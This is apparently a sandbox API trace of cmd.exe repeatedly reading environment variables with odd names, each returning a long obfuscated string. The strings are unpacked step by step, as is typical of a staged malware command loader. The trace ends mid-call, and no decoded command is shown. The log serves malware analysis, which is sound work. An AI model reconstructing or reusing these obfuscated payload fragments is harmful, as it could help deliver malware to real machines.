0x7c0 [0102.210] GetConsoleTitleW (in: lpConsoleTitle=0x12f280, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.210] wcsncmp (_String1="@[~", _String2="/", _MaxCount=0x4) returned 17 [0102.210] GetEnvironmentVariableW (in: lpName="@[~", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="s8PGC7y.Y.YsvTd]F3pbf6K'.Y1.Y@sh8PZ7y8P3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2).Y112s2+263p.YF3p2+2]2+2.YqF3pbfN2+28P4-Pj3QI9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8P.Y-7Ks2+2s8Pm3QI93p`2+2qF3pbfN6m8P.Y967jh`sGC7y8Pm'jU]62+242+2Zn.967[2+2F3pbfbfk7yuuQI37s2+26KF3p].Yjh`sGC7y8P2+2m'2+2jU]64Zn2+2.'u2+2ZGC7ym6k7y11F3p].YqF3pbfN8PGC7y'a2+28P3QI97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,.,.Zm6.2+28Ps4ax'Zm.3QI9X2+27',X2+2m,.9 ,.F3pjUn,.2+2.6GC7y4axuQI7ysK_X'2+2k7yn.9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p].Yu`2+2GC7y2+28P{Pjy.Y2+24axjUnH [1 '2+2'H)3QI92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7.YZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wL.Y-3QI96n37.YjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2.2+2Pjy8 8 7Kjh7yjU6II'2+26wL8PGC7yjh2+2GC7y]Zn.1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&.Ys8P%.Y.Y6jUI/`6KwL,%zwLhPj.Y1.Z.YF3pbf6RI7K3QI93p8P8 8P:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQI8Ps7yjU6RZGC7yy%11Tdjh.Y8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38P.Y.Y).Y.Y^^^|GC7yyPj4wLRsh8PZ7ywL3pTd.Y.Y-nXqF3pbfNZqF3pbfN%wL]67yjU6%I.Y.Y-qF3pbfNX3pPj.Y-4ZqF3pbfN.Y%zwLhI37378Pn.Y-8P78P,v%IPjqF3pbfNk7yPjTdI,.Y3QI9`GC7yy7Kjhjh.Y.Y-nPjGC7yy]PjzwLhI3p8P.Y.Y-7yjU6PjmuQI7KqF3pbfN37.Y.Y.Y.Y.Y^^^^^^^&1.Y@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%.Y).Y.Y^&^&.Y.Y,m37'8P7wL.Y.Y.Y,.,.Yo637Z/T.o") returned 0x7c0 [0102.211] GetConsoleTitleW (in: lpConsoleTitle=0x12f310, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.211] wcsncmp (_String1="@+*", _String2="/", _MaxCount=0x4) returned 17 [0102.212] GetEnvironmentVariableW (in: lpName="@+*", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="s8PGC7ygYgYsvTd]F3pbf6K'gY1gY@sh8PZ7y8P3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+28P4-Pj3QI9h8PZ8P,2+2GC7y2+2[2+27K2+23737-%2+2`k7y8PgY-7Ks2+2s8Pm3QI93p`2+2qF3pbfN6m8PgY967jh`sGC7y8Pm'jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7y8P2+2m'2+2jU]64Zn2+2g'u2+2ZGC7ym6k7y11F3p]gYqF3pbfN8PGC7y'a2+28P3QI97yjU62+23pZ8PnGC7y)'2+2Pjk7y8PnR8P6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+28Ps4ax'Zmg3QI9X2+27',X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X'2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+28P{PjygY2+24axjUnH [1 '2+2'H)3QI92+2jh2+2h8PZo\\F3pX]8P6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wL8P2+2GC7yGC7yyZ78P3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+28Pm'%8P72+2GC7y'wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II'2+26wL8PGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'R8Pk7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'R8Pk7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYs8P%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93p8P8 8P:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQI8Ps7yjU6RZGC7yy%11TdjhgY8PqF3pbfN7y8 s3Td]7y)'F3pbf6Td38PgYgY)gYgY^^^|GC7yyPj4wLRsh8PZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI37378PngY-8P78P,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3p8PgYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@8PqF3pbfN7y8 7yjU6XmsGC7yy8P,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37'8P7wLgYgYgY,g,gYo637Z/Tgo") returned 0x7c0 [0102.212] GetConsoleTitleW (in: lpConsoleTitle=0x12f310, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.213] wcsncmp (_String1="[{", _String2="/", _MaxCount=0x4) returned 44 [0102.213] GetEnvironmentVariableW (in: lpName="[{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K'gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+2e4-Pj3QI9heZe,2+2GC7y2+2[2+27K2+23737-%2+2`k7yegY-7Ks2+2sem3QI93p`2+2qF3pbfN6megY967jh`sGC7yem'jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7ye2+2m'2+2jU]64Zn2+2g'u2+2ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y'a2+2e3QI97yjU62+23pZenGC7y)'2+2Pjk7yenRe6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+2es4ax'Zmg3QI9X2+27',X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X'2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+2e{PjygY2+24axjUnH [1 '2+2'H)3QI92+2jh2+2heZo\\F3pX]e6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ''H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s'6wLe2+2GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y'u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y'6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+2em'%e72+2GC7y'wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II'2+26wLeGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ '2+2'2+2jUn2+29 (2+2Pjy)2+2)2)'Rek7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H)'Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH)'Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y)'7y6TdvwL'InF3pbfPjQIwL7yjU6XmuQI6njU'IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y)'F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37'e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796 [0102.213] GetConsoleTitleW (in: lpConsoleTitle=0x12f310, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.214] wcsncmp (_String1="{@}", _String2="/", _MaxCount=0x4) returned 76 [0102.215] GetEnvironmentVariableW (in: lpName="{@}", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+2Xb2)gY112s2+263pgYF3p2+2]2+2gYqF3pbfN2+2e4-Pj3QI9heZe,2+2GC7y2+2[2+27K2+23737-%2+2`k7yegY-7Ks2+2sem3QI93p`2+2qF3pbfN6megY967jh`sGC7yem.jU]62+242+2Zng967[2+2F3pbfbfk7yuuQI37s2+26KF3p]gYjh`sGC7ye2+2m.2+2jU]64Zn2+2g.u2+2ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.a2+2e3QI97yjU62+23pZenGC7y).2+2Pjk7yenRe6371962+272+2%zwLhGC7yGC7yk7ys8 ,g,gZm6g2+2es4ax.Zmg3QI9X2+27.,X2+2m,g9 ,gF3pjUn,g2+2g6GC7y4axuQI7ysK_X.2+2k7yng9672+2))[2+2F3pbfbfk7yuuQI2+2mQI6KF3p]gYu`2+2GC7y2+2e{PjygY2+24axjUnH [1 .2+2.H)3QI92+2jh2+2heZo\\F3pX]e6,%zwLh12+2F3pbf2+2bf2+2k7yuuQI7gYZn1 ..H2+24ax(2+2))\\F3pbfbfk7yuuQI2+2GC7y2+2GC7y6KF3pbfbfk7yuuQI37s.6wLe2+2GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd2+2F3pbf2+2bfk7yuuQI_2+2)[F3pbfbfk7yuuQImQI2+2{F3pbfbfk7yuuQI2+2_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh2+23pX2+2X]11F3pbfbf2+2k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]2+21F3pbfbfk7yuuQIGC7y2+2GC7y.6wLgY-3QI96n37gYjUn5))}2+2}[2+2I2+2wLXb12+2{jh`sGC7y2+2em.%e72+2GC7y.wL2+2n,X37Zn2+2g2+2Pjy8 8 7Kjh7yjU6II.2+26wLeGC7yjh2+2GC7y]Zng1F3pbfbf2+2k7yuuQI2+2mQI{ .2+2.2+2jUn2+29 (2+2Pjy)2+2)2).Rek7y3p67yjU6wL1296726xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn22)1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796 [0102.215] GetConsoleTitleW (in: lpConsoleTitle=0x12f190, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.215] wcsncmp (_String1="\\{", _String2="/", _MaxCount=0x4) returned 45 [0102.216] GetEnvironmentVariableW (in: lpName="\\{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'63pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfN6megY967jh`sGC7yem.jU]6'+'4'+'Zng967['+'F3pbfbfk7yuuQI37s'+'6KF3p]gYjh`sGC7ye'+'m.'+'jU]64Zn'+'g.u'+'ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.a'+'e3QI97yjU6'+'3pZenGC7y).'+'Pjk7yenRe637196'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZm6g'+'es4ax.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'g6GC7y4axuQI7ysK_X.'+'k7yng967'+'))['+'F3pbfbfk7yuuQI'+'mQI6KF3p]gYu`'+'GC7y'+'e{PjygY'+'4axjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]e6,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4ax('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7y6KF3pbfbfk7yuuQI37s.6wLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4axiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.6wLgY-3QI96n37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjU6II.'+'6wLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3p67yjU6wL1'967'6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4axH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4axH6xd4ax5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796 [0102.216] GetConsoleTitleW (in: lpConsoleTitle=0x12f040, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.216] wcsncmp (_String1="}]", _String2="/", _MaxCount=0x4) returned 78 [0102.217] GetEnvironmentVariableW (in: lpName="}],$", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbf6K.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'63pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfN6megY967jh`sGC7yem.jU]6'+'4'+'Zng967['+'F3pbfbfk7yuuQI37s'+'6KF3p]gYjh`sGC7ye'+'m.'+'jU]64Zn'+'g.u'+'ZGC7ym6k7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjU6'+'3pZenGC7y).'+'Pjk7yenRe637196'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZm6g'+'es4Wx.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'g6GC7y4WxuQI7ysK_X.'+'k7yng967'+'))['+'F3pbfbfk7yuuQI'+'mQI6KF3p]gYu`'+'GC7y'+'e{PjygY'+'4WxjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]e6,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4Wx('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7y6KF3pbfbfk7yuuQI37s.6wLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI76xd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4Wxiy+F3pbfbfk7yuuQI7Pjy6K1{m6GC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI96n37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.6wLgY-3QI96n37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjU6II.'+'6wLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3p67yjU6wL1'967'6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#H).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]Pjy9iy+{7yjU6%zwLh7K]Pjyiy#+{7yjU6%zwLh7K]PjyjUn bf)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]PjyjUn4WxH).Rek7y3p67yjU6wL11{7yjU6%zwLh7K]PjyjUnjUniy+{7yjU6%zwLh7K]Pjy5H+{7yjU6%zwLh7K]PjyiyjUn)6xd{s%RIn6wLPjy{7yjU6%zwLh7K]Pjy#bf))^&^&gYse%gYgY6jUI/`6KwL,%zwLhPjgY1gZgYF3pbf6RI7K3QI93pe8 e:XbGC7y).7y6TdvwL.InF3pbfPjQIwL7yjU6XmuQI6njU.IqF3pbfN7yPjQIes7yjU6RZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbf6Td3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]67yjU6%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjU6PjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjU6XmsGC7yye,{H6xd4WxH6xd4Wx5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYo637Z/Tgo") returned 0x796 [0102.219] GetConsoleTitleW (in: lpConsoleTitle=0x12f0a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.219] wcsncmp (_String1="\\[", _String2="/", _MaxCount=0x4) returned 45 [0102.220] GetEnvironmentVariableW (in: lpName="\\[", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3pbfaK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3pbfN'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3pbfNamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3pbfbfk7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3pbfNeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es4Wx.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y4WxuQI7ysK_X.'+'k7yng9a7'+'))['+'F3pbfbfk7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'4WxjUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3pbf'+'bf'+'k7yuuQI7gYZn1 ..H'+'4Wx('+'))\\F3pbfbfk7yuuQI'+'GC7y'+'GC7yaKF3pbfbfk7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3pbfbfk7yuuQI7axd'+'F3pbf'+'bfk7yuuQI_'+')[F3pbfbfk7yuuQImQI'+'{F3pbfbfk7yuuQI'+'_:H4Wxiy+F3pbfbfk7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3pbfbf'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUnbf)-3QI9X]'+'1F3pbfbfk7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3pbfbf'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn bf)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn4WxH).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#bf))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3pbfaRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3pbfPjQIwL7yjUaXmuQIanjU.IqF3pbfN7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3pbfN7y8 s3Td]7y).F3pbfaTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3pbfNZqF3pbfN%wL]a7yjUa%IgYgY-qF3pbfNX3pPjgY-4ZqF3pbfNgY%zwLhI3737engY-e7e,v%IPjqF3pbfNk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3pbfN37gYgYgYgYgY^^^^^^^&1gY@eqF3pbfN7y8 7yjUaXmsGC7yye,{Haxd4WxHaxd4Wx5Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x796 [0102.220] GetConsoleTitleW (in: lpConsoleTitle=0x12eec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.221] wcsncmp (_String1="`]$", _String2="/", _MaxCount=0x4) returned 49 [0102.221] GetEnvironmentVariableW (in: lpName="`]$", lpBuffer=0x4a0df360, nSize=0x2000 | out: 